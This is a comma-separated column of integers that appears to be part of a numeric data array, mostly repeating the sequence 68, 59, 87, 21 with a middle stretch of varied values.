68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
4846,
59,
87,
2919,
59,
87,
1821,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
486,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
2780,
59,
87,
15,
68,
59,
87,
1821,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
1899,
59,
87,
1507,
59,
87,
1899,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
3023,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
1795,
59,
87,
2919,
59,
87,
1821,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
87,
3901,
59,
27705,
15,
59,
87,
2713,
59,
87,
1821,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
3104,
59,
87,
3312,
59,
87,
1821,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
1899,
59,
87,
1507,
59,
87,
1899,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
19,
64,
59,
87,
2998,
59,
87,
1821,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
405,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
59,
87,
21,
68,
